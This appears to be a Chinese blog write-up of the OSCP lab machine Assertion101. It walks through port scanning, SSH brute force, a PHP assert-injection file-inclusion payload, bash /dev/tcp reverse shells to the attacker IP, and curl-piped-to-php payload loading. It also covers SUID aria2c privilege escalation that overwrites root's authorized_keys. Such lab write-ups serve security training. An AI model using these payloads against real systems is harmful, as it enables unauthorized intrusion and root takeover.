freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

绕过断言的LFI-Assertion101
2023-09-18 09:12:40

OSCP系列靶场-Intermediate-Assertion101

总结

getwebshell: 发现疑似LFI的地方 → 测试..过滤 → 尝试断言绕过 → 远程加载反弹shellgetwebshell

提 权 思 路: suid文件发现 →aria2c远程下载ssh私钥覆盖/root/.sshssh公钥登录提权

准备工作

  • 启动VPN
    获取攻击机IP →192.168.45.218

  • 启动靶机
    获取目标机器IP →192.168.151.94

信息收集-端口扫描

目标开放端口收集

  • Nmap开放端口扫描2次(多次扫描减少误扫)

sudo nmap --min-rate 10000 -p- 192.168.151.94

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http


开放的端口->22,80

目标端口对应服务探测

# tcp探测
sudo nmap -sT -sV -O -sC -p22,80 192.168.151.94

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))

信息收集-端口测试

22-SSH端口的信息收集

22-SSH端口版本信息与MSF利用

通过Nmap探测获得SSH的版本信息,可以尝试利用
探测版本为OpenSSH 7.6p1

# 搜索对应脚本
msf6 > searchsploit OpenSSH 7.6p1

发现搜索到可利用的和用户枚举有关(待定)

22-SSH协议支持的登录方式

通过Nmap探测获得SSH的版本信息,在获取到某个用户名之后尝试

sudo ssh root<span class="label label-primary">@192.168.151.94</span> -v

显示publickeypassword就是支持密钥以及密码登录

22-SSH手动登录尝试(无)

因为支持密码登录,尝试root账户的密码弱密码尝试

sudo ssh root<span class="label label-primary">@192.168.151.94</span> -p 22
# 密码尝试
password > root

弱密码尝试失败

22-SSH弱口令爆破(静静等待)

因为支持密码登录,尝试root账户的密码爆破,利用工具hydra,线程-t为6

sudo hydra -l root -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 6 -vV 192.168.151.94 ssh -s 22

挂着工具进行爆破,我们尝试后续信息收集

80-HTTP端口的信息收集

访问http://192.168.151.94:80像一个CMS,尝试指纹收集开始
像是一个健身网站

信息收集-网站指纹

┌──(root㉿Kali)-[/home/bachang/Assertion101]
└─# whatweb http://192.168.151.94:80
http://192.168.151.94:80 [200 OK] Apache[2.4.29], Bootstrap, Country[RESERVED][ZZ], Email[Colorlib.info<span class="label label-primary">@gmail.com],</span> Frame, HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], IP[192.168.151.94], JQuery[3.3.1], Script, Title[Assertion], X-UA-Compatible[ie=edge]

标题Assertion翻译是断言,可能会有一定帮助。(不是提示就是用户之类的)

漏洞利用-网站指纹

searchsploit Assertion

尝试搜索,不太对劲

信息收集-HTML隐藏信息查看

# 包括文章中是否写明一些敏感信息
curl http://192.168.151.94:80

很多的js没什么信息

信息收集-目录扫描

信息收集-目录扫描初步
# 用两个扫描器进行扫描,更加的谨慎一些
dirsearch -u http://192.168.151.94:80 -x 302,403,404
dirb http://192.168.151.94:80


因为扫出了目录,深层次的扫描待选

信息收集-目录扫描(后缀)
信息收集-目录扫描(深度/大字典)
信息收集-目录扫描(深度/大字典后缀)

信息收集-目录访问

  • js文件没发现什么

  • img文件夹下都是图片

  • pages文件夹下很多php文件
    打开没啥

  • 其余几个php文件夹对应的都是访问不同页面

信息收集-目录扫描

信息收集-目录扫描大字典

因为没什么收获,决定上大字典

# -t 指定线程 -x 添加后缀扩展名 -k 禁用ssl
gobuster dir -u http://192.168.151.94:80 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 -x .html,.php,.zip -k > gobuster.txt

漏洞探测-nikto扫描

同时试试扫描器

nikto -h http://192.168.151.94:80

没发现什么大问题

文章信息查看

有时候文章内部也具有一些提示滴
戳了一下about发现目录发现变化,出现了传参

漏洞利用-getwebshell

LFI测试

看见传参我可兴奋了,首先尝试相对路径的文件读取

http://192.168.151.94/index.php?page=about/../../../../etc/passwd

Not so easy brother!没有这么简单,这是提示?还是嘲讽/(ㄒoㄒ)/


那么思路应该是正确的
尝试一下相对路径文件读取

http://192.168.151.94/index.php?page=/etc/passwd

File does not exist文件不存在说明应该相对路径?


尝试远程文件加载

http://192.168.151.94/index.php?page=http://www.baidu.com

File does not exist

http://192.168.151.94/index.php?page=../
http://192.168.151.94/index.php?page=/../
http://192.168.151.94/index.php?page=././././
http://192.168.151.94/index.php?page=%2F..%2F

尝试了各种,发现的问题是好像对..进行了过滤捏
.好像没有url编码

.过滤绕过

推测后端php脚本可能存在类似正则匹配,如果存在..则会执行

<?php echo "Not so easy brother!" ?>

突然想到了标题的断言,尝试推测后端代码


推测属于这种类型的代码的话,不能使用..
https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/file-inclusion/README.md上搜索到了相关内容


提供了一种很新颖的绕过思路

http://192.168.151.94/index.php?page=' and die(show_source('/etc/passwd')) or '

没有发现账号

http://192.168.151.94/index.php?page=%27%20and%20die(system(%22whoami%22))%20or%20%27

命令执行反弹shell1(失败)

# 利用linux自带的bash进行反弹
bash -i >& /dev/tcp/192.168.45.218/4545 0>&1
http://192.168.151.94/index.php?page=' and die(system("bash -i >& /dev/tcp/192.168.45.218/4545 0>&1")) or '

发现没有回显,进行修改

http://192.168.151.94/index.php?page=' and die(system("sh -i >& /dev/tcp/192.168.45.218/4545 0>&1")) or '

命令执行反弹shell2

反弹失败之后尝试用远程加载的方法

# 利用cp命令cp一个到当前文件夹并且命名为shell.php
sudo cp /usr/share/webshells/php/php-reverse-shell.php ./shell.php
# 开启监听
sudo nc -lvnp 4545

反弹shell配置

# 利用grep确定修改反弹shell_ip的第49行
grep -n "127.0.0.1" shell.php                
> 49:$ip = '127.0.0.1';  // CHANGE THIS
# 同理监听端口是第50行
grep -n "1234" shell.php
50:$port = 1234;       // CHANGE THIS
# 利用sed命令替换里面的内容
sed -i '49s/127.0.0.1/192.168.45.218/' shell.php
sed -i '50s/1234/4545/' shell.php
# 利用sed查看49与50行是否修改成功
sed -n '49,50p' shell.php

python3开启http服务
# 利用python开启http服务
sudo python3 -m http.server 80
# 目标机器执行远程访问
http://192.168.151.94/index.php?page=' and die(system("curl http://192.168.45.218:80/shell.php | php")) or '

命令执行成功

内网遨游-getshell

交互shell

由于获取的shell交互不友好,利用python获得新的交互shell

# 利用python获取交互shell -> python失败使用python3
python -c "import pty;pty.spawn('/bin/bash')";

FLAG1获取

www-data<span class="label label-primary">@assertion</span>:/$ find / -name local.txt 2>/dev/null
/var/www/local.txt
www-data<span class="label label-primary">@assertion</span>:/$ cat /var/www/local.txt
525385afed5f2d70bfb89f7cb77b1da3

信息收集-内网基础信息收集

提权的本质在于枚举,在获取shell之后我们要进行内网信息的收集,都是为了提权做准备

检测Linux操作系统的发行版本

较老的Ubuntu以及Linux系统可以overlayfs提权

# 确定发行版本
www-data<span class="label label-primary">@assertion</span>:/$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 18.04.3 LTS
Release:        18.04
Codename:       bionic

发行版本为Ubuntu 18.04,不太能overlayfs提权

检测Linux操作系统的内核版本

较低的内核版本可以进行脏牛提权

uname -a
Linux assertion 4.15.0-74-generic #84-Ubuntu SMP Thu Dec 19 08:06:28 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux

内核版本为4.15.0

检测当前用户的权限

www-data<span class="label label-primary">@assertion</span>:/$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

列举出所有的sudo文件

查找具有sudo权限,且不需要密码的可提权文件
如果发现sudo -l有东西的话 访问https://gtfobins.github.io寻找

# 利用sudo -l寻找
www-data<span class="label label-primary">@assertion</span>:/$ sudo -l
sudo -l
[sudo] password for www-data: root
Sorry, try again.

发现需要密码

列举出所有suid文件

如果发现u=s有东西的话 访问https://gtfobins.github.io寻找

# -perm 文件权限
www-data<span class="label label-primary">@assertion</span>:/$ find / -perm -u=s -type f 2>/dev/null                                                
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
...
/usr/bin/aria2c
/usr/bin/chfn               
/bin/ping                      
/bin/mount                    
/bin/fusermount               
/bin/su                     

权限提升

suid-aria2c提权

发现一个aria2c没见过
如果发现有东西的话 访问 https://gtfobins.github.io 寻找

提权尝试一(失败)
COMMAND='id'
TF=$(mktemp)
echo "$COMMAND" > $TF
chmod +x $TF
aria2c --on-download-error=$TF http://x

尝试失败决定用第二个

提权尝试二(失败)

第二个是远程加载执行文件,需要满足16位

aria2c --allow-overwrite --gid=aaaaaaaaaaaaaaaa --on-download-complete=bash http://attacker.com/aaaaaaaaaaaaaaaa
aria2c --allow-overwrite --gid=aaaaaaaaaaaaaaaa --on-download-complete=bash http://192.168.45.218:80/aaaaaaaaaaaaaaaa

提权没啥用,上传了没执行

提权尝试三(覆盖root的ssh连接密钥)

尝试百度大法寻找aria2c提权姿势

aria2c是一个下载工具,拥有SUID权限的话,意味着可以用它下载任何内容,并且可以保存在任意位置。

是不是可以创建一对密钥,然后把公钥上传到靶机上的/root/.ssh下?

# 生成的命令
ssh-keygen -t rsa
# 选择需要生成名称
Enter file in which to save the key (/root/.ssh/id_rsa): yaoruo
# 是否需要生成密码
Enter passphrase (empty for no passphrase): 
# 会生成一个密钥和一个公钥
yaoruo  yaoruo.pub
# 重命名
cp yaoruo.pub authorized_keys
# 放到.shh
cp yaoruo ~/.ssh/

在目标靶机上用aria2c下载这个公钥

/usr/bin/aria2c -d /root/.ssh/ -o authorized_keys "http://192.168.45.218:80/authorized_keys" --allow-overwrite=true


远程连接提权成功

sudo ssh -i yaoruo root<span class="label label-primary">@192.168.151.94#CTL{n}```#CTL{n}#CTL{n}![](https</span>://nc0.cdn.zkaq.cn/md/12087/4ddaadd9a04b4896a9ec4631bf810b3d_65750.png)
### FLAG2获取
```shell
root<span class="label label-primary">@assertion</span>:~# cat /root/proof.txt
9b9bf7eec2d5e862a7fa151a0e1a6e0a

完结撒花~

总结

这次靶场明显比之前上升了难度,思路不是很清晰

虽然大致猜到了过滤方式,实际上去使用payload还是有些吃力,查看了网上大神们的payload

# 渗透测试 # 黑客 # 网络安全 # web安全 # 系统安全
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录